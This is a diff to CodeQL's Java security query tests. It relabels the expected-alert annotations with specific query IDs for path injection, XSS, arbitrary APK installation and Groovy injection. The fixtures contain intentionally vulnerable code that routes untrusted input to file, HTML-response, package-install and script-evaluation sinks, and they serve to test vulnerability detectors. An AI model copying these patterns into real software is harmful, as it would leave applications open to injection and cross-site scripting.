"java.nio.file;Files;false;createTempFile;(Path,String,String,FileAttribute[]);;Argument[0];create-file;manual" - Files.createTempFile((Path) source(), null, null); // $ Alert + Files.createTempFile((Path) source(), null, null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;delete;(Path);;Argument[0];delete-file;ai-generated" - Files.delete((Path) source()); // $ Alert + Files.delete((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;deleteIfExists;(Path);;Argument[0];delete-file;ai-generated" - Files.deleteIfExists((Path) source()); // $ Alert + Files.deleteIfExists((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;lines;(Path,Charset);;Argument[0];read-file;ai-generated" - Files.lines((Path) source(), null); // $ Alert + Files.lines((Path) source(), null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;move;;;Argument[1];create-file;manual" - Files.move(null, (Path) source()); // $ Alert + Files.move(null, (Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;newBufferedReader;(Path,Charset);;Argument[0];read-file;ai-generated" - Files.newBufferedReader((Path) source(), null); // $ Alert + Files.newBufferedReader((Path) source(), null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;newBufferedWriter;;;Argument[0];create-file;manual" - Files.newBufferedWriter((Path) source()); // $ Alert - Files.newBufferedWriter((Path) source(), (Charset) null); // $ Alert + Files.newBufferedWriter((Path) source()); // $ Alert[java/path-injection] + Files.newBufferedWriter((Path) source(), (Charset) null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;newOutputStream;;;Argument[0];create-file;manual" - Files.newOutputStream((Path) source()); // $ Alert + Files.newOutputStream((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;write;;;Argument[0];create-file;manual" - Files.write((Path) source(), (byte[]) null); // $ Alert - Files.write((Path) source(), (Iterable) null); // $ Alert - Files.write((Path) source(), (Iterable) null, (Charset) null); // $ Alert + Files.write((Path) source(), (byte[]) null); // $ Alert[java/path-injection] + Files.write((Path) source(), (Iterable) null); // $ Alert[java/path-injection] + Files.write((Path) source(), (Iterable) null, (Charset) null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;writeString;;;Argument[0];create-file;manual" - Files.writeString((Path) source(), (CharSequence) null); // $ Alert - Files.writeString((Path) source(), (CharSequence) null, (Charset) null); // $ Alert + Files.writeString((Path) source(), (CharSequence) null); // $ Alert[java/path-injection] + Files.writeString((Path) source(), (CharSequence) null, (Charset) null); // $ Alert[java/path-injection] // "javax.xml.transform.stream;StreamResult";true;"StreamResult;(File);;Argument[0];create-file;ai-generated" - new StreamResult((File) source()); // $ Alert + new StreamResult((File) source()); // $ Alert[java/path-injection] // "org.apache.commons.io;FileUtils;true;openInputStream;(File);;Argument[0];read-file;ai-generated" - FileUtils.openInputStream((File) source()); // $ Alert + FileUtils.openInputStream((File) source()); // $ Alert[java/path-injection] // "org.codehaus.cargo.container.installer;ZipURLInstaller;true;ZipURLInstaller;(URL,String,String);;Argument[1];create-file;ai-generated" - new ZipURLInstaller((URL) null, (String) source(), ""); // $ Alert + new ZipURLInstaller((URL) null, (String) source(), ""); // $ Alert[java/path-injection] // "org.codehaus.cargo.container.installer;ZipURLInstaller;true;ZipURLInstaller;(URL,String,String);;Argument[2];create-file;ai-generated" - new ZipURLInstaller((URL) null, "", (String) source()); // $ Alert + new ZipURLInstaller((URL) null, "", (String) source()); // $ Alert[java/path-injection] // "org.springframework.util;FileCopyUtils;false;copy;(byte[],File);;Argument[1];create-file;manual" - FileCopyUtils.copy((byte[]) null, (File) source()); // $ Alert + FileCopyUtils.copy((byte[]) null, (File) source()); // $ Alert[java/path-injection] // "org.springframework.util;FileCopyUtils;false;copy;(File,File);;Argument[0];create-file;manual" - FileCopyUtils.copy((File) source(), null); // $ Alert + FileCopyUtils.copy((File) source(), null); // $ Alert[java/path-injection] // "org.springframework.util;FileCopyUtils;false;copy;(File,File);;Argument[1];create-file;manual" - FileCopyUtils.copy((File) null, (File) source()); // $ Alert + FileCopyUtils.copy((File) null, (File) source()); // $ Alert[java/path-injection] } void test(AntClassLoader acl) { // "org.apache.tools.ant;AntClassLoader;true;addPathComponent;(File);;Argument[0];read-file;ai-generated" - acl.addPathComponent((File) source()); // $ Alert + acl.addPathComponent((File) source()); // $ Alert[java/path-injection] // "org.apache.tools.ant;AntClassLoader;true;AntClassLoader;(ClassLoader,Project,Path,boolean);;Argument[2];read-file;ai-generated" - new AntClassLoader(null, null, (org.apache.tools.ant.types.Path) source(), false); // $ Alert + new AntClassLoader(null, null, (org.apache.tools.ant.types.Path) source(), false); // $ Alert[java/path-injection] // "org.apache.tools.ant;AntClassLoader;true;AntClassLoader;(Project,Path,boolean);;Argument[1];read-file;ai-generated" - new AntClassLoader(null, (org.apache.tools.ant.types.Path) source(), false); // $ Alert + new AntClassLoader(null, (org.apache.tools.ant.types.Path) source(), false); // $ Alert[java/path-injection] // "org.apache.tools.ant;AntClassLoader;true;AntClassLoader;(Project,Path);;Argument[1];read-file;ai-generated" - new AntClassLoader(null, (org.apache.tools.ant.types.Path) source()); // $ Alert + new AntClassLoader(null, (org.apache.tools.ant.types.Path) source()); // $ Alert[java/path-injection] // "org.kohsuke.stapler.framework.io;LargeText;true;LargeText;(File,Charset,boolean,boolean);;Argument[0];read-file;ai-generated" - new LargeText((File) source(), null, false, false); // $ Alert + new LargeText((File) source(), null, false, false); // $ Alert[java/path-injection] } void doGet6(String root, HttpServletRequest request) throws IOException { @@ -178,29 +178,29 @@ public class Test { void test(DirectoryScanner ds) { // "org.apache.tools.ant;DirectoryScanner;true;setBasedir;(File);;Argument[0];read-file;ai-generated" - ds.setBasedir((File) source()); // $ Alert + ds.setBasedir((File) source()); // $ Alert[java/path-injection] } void test(Copy cp) { // "org.apache.tools.ant.taskdefs;Copy;true;addFileset;(FileSet);;Argument[0];read-file;ai-generated" - cp.addFileset((FileSet) source()); // $ Alert + cp.addFileset((FileSet) source()); // $ Alert[java/path-injection] // "org.apache.tools.ant.taskdefs;Copy;true;setFile;(File);;Argument[0];read-file;ai-generated" - cp.setFile((File) source()); // $ Alert + cp.setFile((File) source()); // $ Alert[java/path-injection] // "org.apache.tools.ant.taskdefs;Copy;true;setTodir;(File);;Argument[0];create-file;ai-generated" - cp.setTodir((File) source()); // $ Alert + cp.setTodir((File) source()); // $ Alert[java/path-injection] // "org.apache.tools.ant.taskdefs;Copy;true;setTofile;(File);;Argument[0];create-file;ai-generated" - cp.setTofile((File) source()); // $ Alert + cp.setTofile((File) source()); // $ Alert[java/path-injection] } void test(Expand ex) { // "org.apache.tools.ant.taskdefs;Expand;true;setDest;(File);;Argument[0];create-file;ai-generated" - ex.setDest((File) source()); // $ Alert + ex.setDest((File) source()); // $ Alert[java/path-injection] // "org.apache.tools.ant.taskdefs;Expand;true;setSrc;(File);;Argument[0];read-file;ai-generated" - ex.setSrc((File) source()); // $ Alert + ex.setSrc((File) source()); // $ Alert[java/path-injection] } void test(ChainedOptionsBuilder cob) { // "org.openjdk.jmh.runner.options;ChainedOptionsBuilder;true;result;(String);;Argument[0];create-file;ai-generated" - cob.result((String) source()); // $ Alert + cob.result((String) source()); // $ Alert[java/path-injection] } } diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JaxXSS.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JaxXSS.java index 0e096ab94e0..0ca5b737d86 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JaxXSS.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JaxXSS.java @@ -12,25 +12,25 @@ import java.util.Locale; public class JaxXSS { @GET - public static Response specificContentType(boolean safeContentType, boolean chainDirectly, boolean contentTypeFirst, String userControlled) { // $ Source + public static Response specificContentType(boolean safeContentType, boolean chainDirectly, boolean contentTypeFirst, String userControlled) { // $ Source[java/xss] Response.ResponseBuilder builder = Response.ok(); if(!safeContentType) { if(chainDirectly) { if(contentTypeFirst) - return builder.type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert + return builder.type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert[java/xss] else - return builder.entity(userControlled).type(MediaType.TEXT_HTML).build(); // $ Alert + return builder.entity(userControlled).type(MediaType.TEXT_HTML).build(); // $ Alert[java/xss] } else { if(contentTypeFirst) { Response.ResponseBuilder builder2 = builder.type(MediaType.TEXT_HTML); - return builder2.entity(userControlled).build(); // $ Alert + return builder2.entity(userControlled).build(); // $ Alert[java/xss] } else { Response.ResponseBuilder builder2 = builder.entity(userControlled); - return builder2.type(MediaType.TEXT_HTML).build(); // $ Alert + return builder2.type(MediaType.TEXT_HTML).build(); // $ Alert[java/xss] } } } @@ -56,7 +56,7 @@ public class JaxXSS { } @GET - public static Response specificContentTypeSetterMethods(int route, boolean safeContentType, String userControlled) { // $ Source + public static Response specificContentTypeSetterMethods(int route, boolean safeContentType, String userControlled) { // $ Source[java/xss] // Test the remarkably many routes to setting a content-type in Jax-RS, besides the ResponseBuilder.entity method used above: @@ -105,39 +105,39 @@ public class JaxXSS { else { if(route == 0) { // via ok, as a string literal: - return Response.ok("text/html").entity(userControlled).build(); // $ Alert + return Response.ok("text/html").entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 1) { // via ok, as a string constant: - return Response.ok(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert + return Response.ok(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 2) { // via ok, as a MediaType constant: - return Response.ok(MediaType.TEXT_HTML_TYPE).entity(userControlled).build(); // $ Alert + return Response.ok(MediaType.TEXT_HTML_TYPE).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 3) { // via ok, as a Variant, via constructor: - return Response.ok(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).entity(userControlled).build(); // $ Alert + return Response.ok(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 4) { // via ok, as a Variant, via static method: - return Response.ok(Variant.mediaTypes(MediaType.TEXT_HTML_TYPE).build()).entity(userControlled).build(); // $ Alert + return Response.ok(Variant.mediaTypes(MediaType.TEXT_HTML_TYPE).build()).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 5) { // via ok, as a Variant, via instance method: - return Response.ok(Variant.languages(Locale.UK).mediaTypes(MediaType.TEXT_HTML_TYPE).build()).entity(userControlled).build(); // $ Alert + return Response.ok(Variant.languages(Locale.UK).mediaTypes(MediaType.TEXT_HTML_TYPE).build()).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 6) { // via builder variant, before entity: - return Response.ok().variant(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).entity(userControlled).build(); // $ Alert + return Response.ok().variant(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).entity(userControlled).build(); // $ Alert[java/xss] } else if(route == 7) { // via builder variant, after entity: - return Response.ok().entity(userControlled).variant(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).build(); // $ Alert + return Response.ok().entity(userControlled).variant(new Variant(MediaType.TEXT_HTML_TYPE, "language", "encoding")).build(); // $ Alert[java/xss] } else if(route == 8) { // provide entity via ok, then content-type via builder: - return Response.ok(userControlled).type(MediaType.TEXT_HTML_TYPE).build(); // $ Alert + return Response.ok(userControlled).type(MediaType.TEXT_HTML_TYPE).build(); // $ Alert[java/xss] } } @@ -161,28 +161,28 @@ public class JaxXSS { } @GET @Produces(MediaType.TEXT_HTML) - public static Response methodContentTypeUnsafe(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public static Response methodContentTypeUnsafe(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @POST @Produces(MediaType.TEXT_HTML) - public static Response methodContentTypeUnsafePost(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public static Response methodContentTypeUnsafePost(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET @Produces("text/html") - public static Response methodContentTypeUnsafeStringLiteral(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public static Response methodContentTypeUnsafeStringLiteral(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET @Produces({MediaType.TEXT_HTML, MediaType.APPLICATION_JSON}) - public static Response methodContentTypeMaybeSafe(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public static Response methodContentTypeMaybeSafe(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET @Produces(MediaType.APPLICATION_JSON) - public static Response methodContentTypeSafeOverriddenWithUnsafe(String userControlled) { // $ Source - return Response.ok().type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert + public static Response methodContentTypeSafeOverriddenWithUnsafe(String userControlled) { // $ Source[java/xss] + return Response.ok().type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert[java/xss] } @GET @Produces(MediaType.TEXT_HTML) @@ -204,13 +204,13 @@ public class JaxXSS { } @GET @Produces({"text/html"}) - public Response overridesWithUnsafe(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public Response overridesWithUnsafe(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET - public Response overridesWithUnsafe2(String userControlled) { // $ Source - return Response.ok().type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert + public Response overridesWithUnsafe2(String userControlled) { // $ Source[java/xss] + return Response.ok().type(MediaType.TEXT_HTML).entity(userControlled).build(); // $ Alert[java/xss] } } @@ -218,13 +218,13 @@ public class JaxXSS { @Produces({"text/html"}) public static class ClassContentTypeUnsafe { @GET - public Response test(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public Response test(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET - public String testDirectReturn(String userControlled) { // $ Source - return userControlled; // $ Alert + public String testDirectReturn(String userControlled) { // $ Source[java/xss] + return userControlled; // $ Alert[java/xss] } @GET @Produces({"application/json"}) @@ -239,13 +239,13 @@ public class JaxXSS { } @GET - public static Response entityWithNoMediaType(String userControlled) { // $ Source - return Response.ok(userControlled).build(); // $ Alert + public static Response entityWithNoMediaType(String userControlled) { // $ Source[java/xss] + return Response.ok(userControlled).build(); // $ Alert[java/xss] } @GET - public static String stringWithNoMediaType(String userControlled) { // $ Source - return userControlled; // $ Alert + public static String stringWithNoMediaType(String userControlled) { // $ Source[java/xss] + return userControlled; // $ Alert[java/xss] } } diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java index f3efab3ddfe..a6f95bccfa6 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/JsfXSS.java @@ -18,7 +18,7 @@ public class JsfXSS extends Renderer { super.encodeBegin(facesContext, component); - Map requestParameters = facesContext.getExternalContext().getRequestParameterMap(); // $ Source + Map requestParameters = facesContext.getExternalContext().getRequestParameterMap(); // $ Source[java/xss] String windowId = requestParameters.get("window_id"); ResponseWriter writer = facesContext.getResponseWriter(); @@ -26,7 +26,7 @@ public class JsfXSS extends Renderer writer.write("(function(){"); writer.write("dswh.init('" + windowId + "','" + "......" + "'," - + -1 + ",{"); // $ Alert + + -1 + ",{"); // $ Alert[java/xss] writer.write("});"); writer.write("})();"); writer.write(""); @@ -57,13 +57,13 @@ public class JsfXSS extends Renderer { ExternalContext ec = facesContext.getExternalContext(); ResponseWriter writer = facesContext.getResponseWriter(); - writer.write(ec.getRequestParameterMap().keySet().iterator().next()); // $ Alert - writer.write(ec.getRequestParameterNames().next()); // $ Alert - writer.write(ec.getRequestParameterValuesMap().get("someKey")[0]); // $ Alert - writer.write(ec.getRequestParameterValuesMap().keySet().iterator().next()); // $ Alert - writer.write(ec.getRequestPathInfo()); // $ Alert - writer.write(((Cookie)ec.getRequestCookieMap().get("someKey")).getName()); // $ Alert - writer.write(ec.getRequestHeaderMap().get("someKey")); // $ Alert - writer.write(ec.getRequestHeaderValuesMap().get("someKey")[0]); // $ Alert + writer.write(ec.getRequestParameterMap().keySet().iterator().next()); // $ Alert[java/xss] + writer.write(ec.getRequestParameterNames().next()); // $ Alert[java/xss] + writer.write(ec.getRequestParameterValuesMap().get("someKey")[0]); // $ Alert[java/xss] + writer.write(ec.getRequestParameterValuesMap().keySet().iterator().next()); // $ Alert[java/xss] + writer.write(ec.getRequestPathInfo()); // $ Alert[java/xss] + writer.write(((Cookie)ec.getRequestCookieMap().get("someKey")).getName()); // $ Alert[java/xss] + writer.write(ec.getRequestHeaderMap().get("someKey")); // $ Alert[java/xss] + writer.write(ec.getRequestHeaderValuesMap().get("someKey")[0]); // $ Alert[java/xss] } } diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/SpringXSS.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/SpringXSS.java index fd3a26bcf10..53b45c678af 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/SpringXSS.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/SpringXSS.java @@ -13,17 +13,17 @@ import java.util.Optional; public class SpringXSS { @GetMapping - public static ResponseEntity specificContentType(boolean safeContentType, boolean chainDirectly, String userControlled) { // $ Source + public static ResponseEntity specificContentType(boolean safeContentType, boolean chainDirectly, String userControlled) { // $ Source[java/xss] ResponseEntity.BodyBuilder builder = ResponseEntity.ok(); if(!safeContentType) { if(chainDirectly) { - return builder.contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert + return builder.contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert[java/xss] } else { ResponseEntity.BodyBuilder builder2 = builder.contentType(MediaType.TEXT_HTML); - return builder2.body(userControlled); // $ Alert + return builder2.body(userControlled); // $ Alert[java/xss] } } else { @@ -59,23 +59,23 @@ public class SpringXSS { } @GetMapping(value = "/xyz", produces = MediaType.TEXT_HTML_VALUE) - public static ResponseEntity methodContentTypeUnsafe(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public static ResponseEntity methodContentTypeUnsafe(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/xyz", produces = "text/html") - public static ResponseEntity methodContentTypeUnsafeStringLiteral(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public static ResponseEntity methodContentTypeUnsafeStringLiteral(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/xyz", produces = {MediaType.TEXT_HTML_VALUE, MediaType.APPLICATION_JSON_VALUE}) - public static ResponseEntity methodContentTypeMaybeSafe(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public static ResponseEntity methodContentTypeMaybeSafe(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/xyz", produces = MediaType.APPLICATION_JSON_VALUE) - public static ResponseEntity methodContentTypeSafeOverriddenWithUnsafe(String userControlled) { // $ Source - return ResponseEntity.ok().contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert + public static ResponseEntity methodContentTypeSafeOverriddenWithUnsafe(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok().contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/xyz", produces = MediaType.TEXT_HTML_VALUE) @@ -84,17 +84,17 @@ public class SpringXSS { } @GetMapping(value = "/xyz", produces = {"text/html", "application/json"}) - public static ResponseEntity methodContentTypeMaybeSafeStringLiterals(String userControlled, int constructionMethod) { // $ Source + public static ResponseEntity methodContentTypeMaybeSafeStringLiterals(String userControlled, int constructionMethod) { // $ Source[java/xss] // Also try out some alternative constructors for the ResponseEntity: switch(constructionMethod) { case 0: - return ResponseEntity.ok(userControlled); // $ Alert + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] case 1: - return ResponseEntity.of(Optional.of(userControlled)); // $ Alert + return ResponseEntity.of(Optional.of(userControlled)); // $ Alert[java/xss] case 2: - return ResponseEntity.ok().body(userControlled); // $ Alert + return ResponseEntity.ok().body(userControlled); // $ Alert[java/xss] case 3: - return new ResponseEntity(userControlled, HttpStatus.OK); // $ Alert + return new ResponseEntity(userControlled, HttpStatus.OK); // $ Alert[java/xss] default: return null; } @@ -114,13 +114,13 @@ public class SpringXSS { } @GetMapping(value = "/xyz", produces = {"text/html"}) - public ResponseEntity overridesWithUnsafe(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public ResponseEntity overridesWithUnsafe(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/abc") - public ResponseEntity overridesWithUnsafe2(String userControlled) { // $ Source - return ResponseEntity.ok().contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert + public ResponseEntity overridesWithUnsafe2(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok().contentType(MediaType.TEXT_HTML).body(userControlled); // $ Alert[java/xss] } } @@ -128,13 +128,13 @@ public class SpringXSS { @RequestMapping(produces = {"text/html"}) private static class ClassContentTypeUnsafe { @GetMapping(value = "/abc") - public ResponseEntity test(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public ResponseEntity test(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/abc") - public String testDirectReturn(String userControlled) { // $ Source - return userControlled; // $ Alert + public String testDirectReturn(String userControlled) { // $ Source[java/xss] + return userControlled; // $ Alert[java/xss] } @GetMapping(value = "/xyz", produces = {"application/json"}) @@ -149,13 +149,13 @@ public class SpringXSS { } @GetMapping(value = "/abc") - public static ResponseEntity entityWithNoMediaType(String userControlled) { // $ Source - return ResponseEntity.ok(userControlled); // $ Alert + public static ResponseEntity entityWithNoMediaType(String userControlled) { // $ Source[java/xss] + return ResponseEntity.ok(userControlled); // $ Alert[java/xss] } @GetMapping(value = "/abc") - public static String stringWithNoMediaType(String userControlled) { // $ Source - return userControlled; // $ Alert + public static String stringWithNoMediaType(String userControlled) { // $ Source[java/xss] + return userControlled; // $ Alert[java/xss] } @GetMapping(value = "/abc") diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/XSS.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/XSS.java index 13ae6b62e10..b12099673b8 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/XSS.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/XSS.java @@ -16,7 +16,7 @@ public class XSS extends HttpServlet { throws ServletException, IOException { // BAD: a request parameter is written directly to the Servlet response stream response.getWriter() - .print("The page \"" + request.getParameter("page") + "\" was not found."); // $ Alert + .print("The page \"" + request.getParameter("page") + "\" was not found."); // $ Alert[java/xss] // GOOD: servlet API encodes the error message HTML for the HTML context response.sendError(HttpServletResponse.SC_NOT_FOUND, @@ -31,10 +31,10 @@ public class XSS extends HttpServlet { "The page \"" + capitalizeName(request.getParameter("page")) + "\" was not found."); // BAD: outputting the path of the resource - response.getWriter().print("The path section of the URL was " + request.getPathInfo()); // $ Alert + response.getWriter().print("The path section of the URL was " + request.getPathInfo()); // $ Alert[java/xss] // BAD: typical XSS, this time written to an OutputStream instead of a Writer - response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert + response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert[java/xss] // GOOD: sanitizer response.getOutputStream().write(hudson.Util.escape(request.getPathInfo()).getBytes()); // safe @@ -80,34 +80,34 @@ public class XSS extends HttpServlet { if(setContentMethod == 0) { // BAD: set content-type to something that is not safe response.setContentType("text/html"); - response.getWriter().print(request.getPathInfo()); // $ Alert + response.getWriter().print(request.getPathInfo()); // $ Alert[java/xss] } else if(setContentMethod == 1) { // BAD: set content-type to something that is not safe response.setHeader("Content-Type", "text/html"); - response.getWriter().print(request.getPathInfo()); // $ Alert + response.getWriter().print(request.getPathInfo()); // $ Alert[java/xss] } else { // BAD: set content-type to something that is not safe response.addHeader("Content-Type", "text/html"); - response.getWriter().print(request.getPathInfo()); // $ Alert + response.getWriter().print(request.getPathInfo()); // $ Alert[java/xss] } } else { if(setContentMethod == 0) { // BAD: set content-type to something that is not safe response.setContentType("text/html"); - response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert + response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert[java/xss] } else if(setContentMethod == 1) { // BAD: set content-type to something that is not safe response.setHeader("Content-Type", "text/html"); - response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert + response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert[java/xss] } else { // BAD: set content-type to something that is not safe response.addHeader("Content-Type", "text/html"); - response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert + response.getOutputStream().write(request.getPathInfo().getBytes()); // $ Alert[java/xss] } } } diff --git a/java/ql/test/query-tests/security/CWE-094/ApkInstallationTest/ApkInstallation.java b/java/ql/test/query-tests/security/CWE-094/ApkInstallationTest/ApkInstallation.java index ee6a0c56b70..5f13a16d690 100644 --- a/java/ql/test/query-tests/security/CWE-094/ApkInstallationTest/ApkInstallation.java +++ b/java/ql/test/query-tests/security/CWE-094/ApkInstallationTest/ApkInstallation.java @@ -11,7 +11,7 @@ public class ApkInstallation extends Activity { public void installAPK(String path) { // BAD: the path is not checked Intent intent = new Intent(Intent.ACTION_VIEW); - intent.setDataAndType(Uri.fromFile(new File(path)), "application/vnd.android.package-archive"); // $ Alert + intent.setDataAndType(Uri.fromFile(new File(path)), "application/vnd.android.package-archive"); // $ Alert[java/android/arbitrary-apk-installation] startActivity(intent); } @@ -19,7 +19,7 @@ public class ApkInstallation extends Activity { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setType(APK_MIMETYPE); // BAD: the path is not checked - intent.setData(Uri.fromFile(new File(path))); // $ Alert + intent.setData(Uri.fromFile(new File(path))); // $ Alert[java/android/arbitrary-apk-installation] startActivity(intent); } @@ -27,7 +27,7 @@ public class ApkInstallation extends Activity { // BAD: file is from external storage File file = new File(Environment.getExternalStorageDirectory(), path); Intent intent = new Intent(Intent.ACTION_VIEW); - intent.setDataAndType(Uri.fromFile(file), APK_MIMETYPE); // $ Alert + intent.setDataAndType(Uri.fromFile(file), APK_MIMETYPE); // $ Alert[java/android/arbitrary-apk-installation] startActivity(intent); } @@ -35,14 +35,14 @@ public class ApkInstallation extends Activity { // BAD: file is from external storage File file = new File(Environment.getExternalStorageDirectory(), path); Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE); - intent.setData(Uri.fromFile(file)); // $ Alert + intent.setData(Uri.fromFile(file)); // $ Alert[java/android/arbitrary-apk-installation] startActivity(intent); } public void installAPKInstallPackageLiteral(String path) { File file = new File(Environment.getExternalStorageDirectory(), path); Intent intent = new Intent("android.intent.action.INSTALL_PACKAGE"); - intent.setData(Uri.fromFile(file)); // $ Alert + intent.setData(Uri.fromFile(file)); // $ Alert[java/android/arbitrary-apk-installation] startActivity(intent); } @@ -50,7 +50,7 @@ public class ApkInstallation extends Activity { Intent intent = new Intent(this, OtherActivity.class); intent.setAction(Intent.ACTION_VIEW); // BAD: the file is from unknown source - intent.setData(Uri.fromFile(file)); // $ Alert + intent.setData(Uri.fromFile(file)); // $ Alert[java/android/arbitrary-apk-installation] } } diff --git a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyClassLoaderTest.java b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyClassLoaderTest.java index ff7d73f16bd..9fd078b1ba9 100644 --- a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyClassLoaderTest.java +++ b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyClassLoaderTest.java @@ -14,41 +14,41 @@ public class GroovyClassLoaderTest extends HttpServlet { throws ServletException, IOException { // "groovy.lang;GroovyClassLoader;false;parseClass;(GroovyCodeSource);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); GroovyCodeSource gcs = new GroovyCodeSource(script, "test", "Test"); - classLoader.parseClass(gcs); // $ Alert + classLoader.parseClass(gcs); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyClassLoader;false;parseClass;(GroovyCodeSource,boolean);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); GroovyCodeSource gcs = new GroovyCodeSource(script, "test", "Test"); - classLoader.parseClass(gcs, true); // $ Alert + classLoader.parseClass(gcs, true); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyClassLoader;false;parseClass;(InputStream,String);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); - classLoader.parseClass(new ByteArrayInputStream(script.getBytes()), "test"); // $ Alert + classLoader.parseClass(new ByteArrayInputStream(script.getBytes()), "test"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyClassLoader;false;parseClass;(Reader,String);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); - classLoader.parseClass(new StringReader(script), "test"); // $ Alert + classLoader.parseClass(new StringReader(script), 